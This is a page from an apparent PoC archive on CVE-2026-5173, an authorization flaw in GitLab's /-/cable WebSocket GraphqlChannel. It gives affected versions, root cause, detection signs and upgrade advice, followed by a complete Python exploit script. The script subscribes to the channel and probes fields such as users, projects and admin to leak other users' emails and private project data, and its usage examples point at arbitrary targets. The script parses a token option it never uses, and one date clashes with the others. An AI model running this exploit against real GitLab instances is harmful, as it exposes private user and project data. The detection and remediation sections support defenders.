PoC Archive PoC Archive
High CVE-2026-5173 patched

GitLab WebSocket GraphqlChannel Unauthorized Method Enumeration — CVE-2026-5173

by 0xBlackash (GitHub) · 2026-07-05

Severity
High
CVE
CVE-2026-5173
Category
web
Affected product
GitLab CE/EE, ActionCable WebSocket endpoint (/-/cable), GraphqlChannel
Affected versions
GitLab CE/EE 16.9.6 through 18.8.8; 18.9 before 18.9.5; 18.10 before 18.10.3 (patched in 18.8.9, 18.9.5, 18.10.3)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / Researcher0xBlackash (GitHub)
CVE / AdvisoryCVE-2026-5173
Categoryweb
SeverityHigh
CVSS ScoreNot disclosed in repo (advisory references GHSA-5gj7-3j23-w2h2)
StatusPoC
Tagsgitlab, websocket, graphql, actioncable, graphqlchannel, information-disclosure, broken-access-control
RelatedN/A

Affected Target

FieldValue
Software / SystemGitLab CE/EE, ActionCable WebSocket endpoint (/-/cable), GraphqlChannel
Versions AffectedGitLab CE/EE 16.9.6 through 18.8.8; 18.9 before 18.9.5; 18.10 before 18.10.3 (patched in 18.8.9, 18.9.5, 18.10.3)
Language / PlatformPython 3.8+ (websockets library)
Authentication RequiredLow-privileged authenticated user (a valid session/token is expected; PoC also supports an optional Personal Access Token)
Network Access RequiredYes — direct network access to the target GitLab instance’s WebSocket endpoint

Summary

CVE-2026-5173 allows a low-privileged authenticated GitLab user to invoke backend GraphQL methods over the /-/cable ActionCable WebSocket endpoint via the GraphqlChannel, methods that should otherwise be gated by normal GraphQL authorization checks. The PoC connects to the target’s WebSocket endpoint, subscribes to GraphqlChannel, and then sends a series of GraphQL queries for sensitive fields/resolvers (currentUser, users, projects, namespaces, admin, instanceStatistics, etc.), reporting which ones return data the caller should not otherwise be authorized to see — including other users’ details (potentially admins) and private project listings.


Vulnerability Details

Root Cause

The GraphqlChannel exposed over GitLab’s ActionCable WebSocket transport (/-/cable) processes GraphQL queries/mutations sent as WebSocket messages, but the authorization checks that normally gate these resolvers over the standard HTTP GraphQL API are not consistently enforced when the same queries are issued through the WebSocket channel, allowing a low-privileged authenticated user to enumerate and invoke methods intended to be restricted.

Attack Vector

  1. Attacker authenticates to the target GitLab instance as a normal, low-privileged user (optionally using a Personal Access Token).
  2. Attacker opens a WebSocket connection to <target>/-/cable and subscribes to the GraphqlChannel identifier.
  3. Attacker sends a sequence of execute GraphQL query messages for a list of candidate fields/methods (currentUser, viewer, users, projects, namespaces, admin, instanceStatistics, getInternalData, export, gitlabInternal, featureFlags, etc.).
  4. For each method that returns data/result content instead of an authorization error, the attacker records this as unauthorized access — e.g., users can leak the full user list (including admins with emails), projects can leak private projects.

Impact

Sensitive data exposure: disclosure of other users’ details (potentially including administrators’ emails/identities) and enumeration of private projects/namespaces that the low-privileged caller should not otherwise be authorized to view, plus limited ability to invoke otherwise-restricted backend GraphQL operations.


Environment / Lab Setup

Target:   GitLab CE, e.g. `docker run -d --name gitlab-vuln -p 8080:80 -p 2222:22 gitlab/gitlab-ce:18.10.2-ce.0`
          with a normal (non-admin) test user account created
Attacker: Python 3.8+, `websockets` library (pip install websockets)

Proof of Concept

PoC Script

See CVE-2026-5173.py in this folder.

1
2
3
python3 CVE-2026-5173.py http://your-gitlab-lab:8080

python3 CVE-2026-5173.py http://target.com:8080 -t glpat-XXXXXXXXXXXXXXXXXXXX

The script opens a WebSocket connection to <target>/-/cable, subscribes to GraphqlChannel, and iterates through a hardcoded list of candidate GraphQL fields, sending an execute message for each and printing [SUCCESS] with a truncated response body whenever data or a result is returned, flagging that method as a possible unauthorized-access path.


Detection & IOCs

Signs of compromise:

  • Low-privileged accounts opening /-/cable WebSocket connections and subscribing to GraphqlChannel
  • Rapid sequences of GraphQL execute messages probing many distinct field names over a single WebSocket session
  • Unexpected disclosure of other users’ emails/roles or private project metadata to non-admin accounts

Remediation

ActionDetail
Primary fixUpgrade GitLab to 18.8.9, 18.9.5, 18.10.3, or later (per GitLab’s patch release and GHSA-5gj7-3j23-w2h2)
Interim mitigationRestrict/monitor access to the /-/cable WebSocket endpoint and audit GraphqlChannel authorization enforcement; limit exposure of the GitLab instance to trusted networks until patched

References


Notes

Mirrored from https://github.com/0xBlackash/CVE-2026-5173 on 2026-07-05.

CVE-2026-5173.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python3
import asyncio
import json
import sys
import argparse
import websockets

async def run_poc(target, token=None):
    print(f"[+] CVE-2026-5173 PoC v2 - Target: {target}")
    
    if not target.startswith(("http://", "https://")):
        target = "http://" + target
    
    ws_url = target.replace("http://", "ws://").replace("https://", "wss://") + "/-/cable"
    
    headers = {"Origin": target}
    
    try:
        async with websockets.connect(ws_url, extra_headers=headers) as ws:
            print("[+] WebSocket connected")
            
            # Subscribe to GraphqlChannel (primary vulnerable channel)
            await ws.send(json.dumps({
                "command": "subscribe",
                "identifier": json.dumps({"channel": "GraphqlChannel"})
            }))
            print("[+] Subscribed to GraphqlChannel")
            
            # Wait for subscription confirmation
            await asyncio.sleep(1)
            
            # List of likely unintended methods (based on GitLab internals + CVE description)
            test_methods = [
                "currentUser", "viewer", "project", "projects", "users", "namespaces",
                "instanceStatistics", "admin", "getInternalData", "export", "query",
                "execute", "mutation", "gitlabInternal", "featureFlags"
            ]
            
            for method in test_methods:
                print(f"[*] Testing method: {method}")
                
                query = f'query {{ {method} {{ id name email }} }}' if method in ["currentUser", "viewer"] else \
                        f'query {{ {method} {{ nodes {{ id name }} }} }}'
                
                payload = {
                    "command": "message",
                    "identifier": json.dumps({"channel": "GraphqlChannel"}),
                    "data": json.dumps({
                        "action": "execute",
                        "query": query,
                        "variables": {}
                    })
                }
                
                await ws.send(json.dumps(payload))
                
                try:
                    response = await asyncio.wait_for(ws.recv(), timeout=5)
                    if "data" in response or "result" in response:
                        print(f"[SUCCESS] Possible unauthorized access via '{method}'!")
                        print(f"    → Response: {response[:300]}...\n")
                    else:
                        print(f"    Response received (check manually)\n")
                except asyncio.TimeoutError:
                    print(f"    No response (timeout)\n")
                    
    except Exception as e:
        print(f"[-] Connection error: {e}")

def main():
    parser = argparse.ArgumentParser(description="CVE-2026-5173 GitLab WebSocket PoC v2")
    parser.add_argument("target", help="Target URL e.g. http://192.168.1.100:8080")
    parser.add_argument("-t", "--token", help="GitLab Personal Access Token (optional)")
    args = parser.parse_args()
    
    asyncio.run(run_poc(args.target, args.token))

if __name__ == "__main__":
    main()